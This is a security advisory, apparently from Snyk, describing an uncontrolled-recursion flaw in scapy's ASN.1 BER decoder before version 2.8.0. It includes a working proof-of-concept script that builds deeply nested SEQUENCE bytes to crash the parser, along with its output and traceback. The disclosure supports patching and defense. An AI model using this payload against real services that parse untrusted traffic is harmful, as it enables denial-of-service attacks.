Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Uncontrolled Recursion vulnerabilities in an interactive lesson.
Start learningUpgrade scapy to version 2.8.0 or higher.
scapy is a Python-based interactive packet manipulation program and library.
Affected versions of this package are vulnerable to Uncontrolled Recursion via BERcodec_SEQUENCE.do_dec() in scapy/asn1/ber.py, which recursively calls BERcodec_Object.dec() for each nested ASN.1 element with no depth limit. When a nested element is itself a SEQUENCE, the call dispatches back into do_dec(), creating unbounded mutual recursion. An attacker can send a single packet containing deeply nested ASN.1 SEQUENCE structures to exhaust Python's call stack and raise an unhandled RecursionError, crashing any application that uses Scapy to parse untrusted TLS, SNMP, X.509, or LDAP traffic. The safe=True parameter provides no protection against this code path.
Tested on scapy 2.7.0 (latest), Python 3.14.2, macOS. No privileges or special configuration required.
#!/usr/bin/env python3 # pip install scapy from scapy.asn1.ber import BERcodec_SEQUENCEdef make_nested_sequence(depth): """Build a valid BER-encoded SEQUENCE nested
depthlevels deep.""" payload = b'\x30\x00' # innermost: empty SEQUENCE for _ in range(depth): length = len(payload) if length < 128: payload = b'\x30' + bytes([length]) + payload else: length_bytes = length.to_bytes((length.bit_length() + 7) // 8, 'big') payload = b'\x30' + bytes([0x80 | len(length_bytes)]) + length_bytes + payload return payloadcrafted = make_nested_sequence(250) # 833 bytes print(f"Payload: {len(crafted)} bytes")
try: BERcodec_SEQUENCE.dec(crafted, safe=True) print("No crash (unexpected)") except RecursionError: print("CRASH: RecursionError — process terminated")
Actual output (run locally against installed scapy 2.7.0):
Payload: 833 bytes
CRASH: RecursionError — process terminated
Crash threshold by nesting depth:
depth= 50 102 bytes → OK
depth= 100 239 bytes → OK
depth= 250 833 bytes → CRASH ✓
depth= 500 1833 bytes → CRASH ✓
Traceback (truncated — 3,995 frames total):
File "scapy/asn1/ber.py", line 375, in dec
return cls.do_dec(s, context, safe)
File "scapy/asn1/ber.py", line 652, in do_dec
o, remain = BERcodec_Object.dec(s, context, safe)
File "scapy/asn1/ber.py", line 375, in dec
return cls.do_dec(s, context, safe)
... (3,995 frames) ...
RecursionError: maximum recursion depth exceeded
Note: Tested on scapy 2.7.0, Python 3.14.2, macOS, with no privileges or special configuration required.